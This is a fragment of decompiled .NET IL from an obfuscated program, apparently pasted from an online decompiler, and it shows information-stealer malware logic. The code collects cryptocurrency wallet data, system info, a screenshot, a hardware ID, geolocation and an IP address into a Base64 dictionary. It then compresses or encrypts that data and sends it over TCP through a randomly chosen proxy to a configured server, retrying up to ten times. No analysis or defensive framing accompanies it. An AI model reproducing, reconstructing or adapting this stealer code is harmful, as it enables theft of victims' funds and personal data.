brfalse.s IL_02B5: ldsfld System.String ns2.GClass10::string_14
nop <null>
call System.Byte[] ns2.Class12::smethod_0()
stloc.s V_9
ldloc.s V_9
ldlen <null>
brfalse.s IL_02B0: leave.s IL_02B5
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Wallets
ldloc.s V_9
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_02B5: ldsfld System.String ns2.GClass10::string_14
pop <null>
leave.s IL_02B5: ldsfld System.String ns2.GClass10::string_14
ldsfld System.String ns2.GClass10::string_14
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_02E1: ldsfld System.String ns2.GClass10::string_10
nop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Info
call System.Byte[] ns2.Class14::smethod_0()
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_02E1: ldsfld System.String ns2.GClass10::string_10
pop <null>
leave.s IL_02E1: ldsfld System.String ns2.GClass10::string_10
ldsfld System.String ns2.GClass10::string_10
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0316: nop
nop <null>
call System.Byte[] ns2.Class14::Screenshot()
stloc.s V_20
ldloc.s V_20
ldlen <null>
brfalse.s IL_0311: leave.s IL_0316
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Screen
ldloc.s V_20
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0316: nop
pop <null>
leave.s IL_0316: nop
nop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr HWID
call System.String ns2.Class13::HWID()
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0331: nop
pop <null>
leave.s IL_0331: nop
nop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Group
ldsfld System.String ns2.GClass10::GroupName
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_034C: nop
pop <null>
leave.s IL_034C: nop
nop <null>
ldsfld System.String ns2.Class14::string_0
nop <null>
ldstr null1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0365: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
call System.Byte[] ns2.Class14::smethod_0()
pop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Geo
ldsfld System.String ns2.Class14::string_0
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_037F: nop
pop <null>
leave.s IL_037F: nop
nop <null>
ldsfld System.String ns2.Class14::string_1
nop <null>
ldstr null2
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0398: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
call System.Byte[] ns2.Class14::smethod_0()
pop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Ip
ldsfld System.String ns2.Class14::string_1
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_03B2: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
pop <null>
leave.s IL_03B2: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
call System.Byte[] ns2.Class18::smethod_0(System.Collections.Generic.Dictionary`2<System.String,System.String>)
stloc.s V_35
ldloc.s V_35
brtrue.s IL_03C9: ldloc.s V_35
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldloc.s V_35
call System.Byte[] ns2.Class18::smethod_3(System.Byte[])
call System.Byte[] ns2.Class18::smethod_1(System.Byte[])
stloc.s V_2
ldc.i4.0 <null>
stloc.s V_3
br IL_04EA: ldloc.s V_3
nop <null>
ldsfld System.String ns2.GClass10::Proxy
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_19
newobj System.Void System.Random::.ctor()
stloc.s V_21
ldloc.s V_19
ldloc.s V_21
ldloc.s V_19
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_26
newobj System.Void ns1.GClass4::.ctor()
ldc.i4.4 <null>
ldloc.s V_26
ldc.i4.0 <null>
ldelem.ref <null>
ldloc.s V_26
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Int32::Parse(System.String)
ldloc.s V_26
ldc.i4.2 <null>
ldelem.ref <null>
ldloc.s V_26
ldc.i4.3 <null>
ldelem.ref <null>
callvirt ns1.GInterface0 ns1.GClass4::method_3(ns1.GEnum1,System.String,System.Int32,System.String,System.String)
dup <null>
ldc.r8 60
call System.TimeSpan System.TimeSpan::FromSeconds(System.Double)
stloc.s V_14
ldloca.s V_14
call System.Double System.TimeSpan::get_TotalMilliseconds()
conv.i4 <null>
callvirt System.Void ns1.GInterface0::imethod_10(System.Int32)
dup <null>
ldc.r8 60
call System.TimeSpan System.TimeSpan::FromSeconds(System.Double)
stloc.s V_14
ldloca.s V_14
call System.Double System.TimeSpan::get_TotalMilliseconds()
conv.i4 <null>
callvirt System.Void ns1.GInterface0::imethod_7(System.Int32)
ldsfld System.String ns2.GClass10::IP
ldsfld System.String ns2.GClass10::PORT
call System.Int32 System.Convert::ToInt32(System.String)
callvirt System.Net.Sockets.TcpClient ns1.GInterface0::imethod_13(System.String,System.Int32)
stloc.s V_15
ldloc.s V_15
callvirt System.Net.Sockets.NetworkStream System.Net.Sockets.TcpClient::GetStream()
stloc.s V_30
ldloc.s V_30
ldloc.s V_2
ldlen <null>
conv.i4 <null>
call System.Byte[] System.BitConverter::GetBytes(System.Int32)
ldc.i4.0 <null>
ldc.i4.4 <null>
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_30
ldloc.s V_2
ldc.i4.0 <null>
ldloc.s V_2
ldlen <null>
conv.i4 <null>
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
leave.s IL_04C7: leave.s IL_04D5
ldloc.s V_30
brfalse.s IL_04C6: endfinally
ldloc.s V_30
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_04D5: leave.s IL_04F3
ldloc.s V_15
brfalse.s IL_04D4: endfinally
ldloc.s V_15
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_04F3: ldloc.s V_3
pop <null>
ldloc.s V_3
ldc.i4.1 <null>
add <null>
stloc.s V_3
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
leave.s IL_04EA: ldloc.s V_3
ldloc.s V_3
ldc.i4.s 10
ble IL_03DF: nop
ldloc.s V_3
ldc.i4.s 10
blt.s IL_0500: ldsfld System.String ns2.GClass10::string_17
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldsfld System.String ns2.GClass10::string_17
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0566: ldsfld System.String ns2.GClass10::string_15
ldsfld System.String ns2.GClass10::string_19
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0566: ldsfld System.String ns2.GClass10::string_15
ldsfld System.String ns2.GClass10::string_18
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
newobj System.Void System.Threading.Tasks.ParallelOptions::.ctor()
dup <null>
call System.Int32 System.Environment::get_ProcessorCount()
callvirt System.Void System.Threading.Tasks.ParallelOptions::set_MaxDegreeOfParallelism(System.Int32)
stloc.s V_38
ldloc.s V_38
ldsfld System.Action`1<System.String> ns2.Class17/<>c::action_1
dup <null>
brtrue.s IL_0560: call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
ldsfld ns2.Class17/<>c ns2.Class17/<>c::<>c_0
ldftn System.Void ns2.Class17/<>c::method_2(System.String)
newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action`1<System.String> ns2.Class17/<>c::action_1
call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
ldsfld System.String ns2.GClass10::string_15
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0577: ldsfld System.String ns2.GClass10::string_8
call System.Void ns2.Class15::smethod_0()
ldsfld System.String ns2.GClass10::string_8
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_058A: call System.Void ns2.Class18::smethod_2()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
call System.Void ns2.Class18::smethod_2()
ret <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙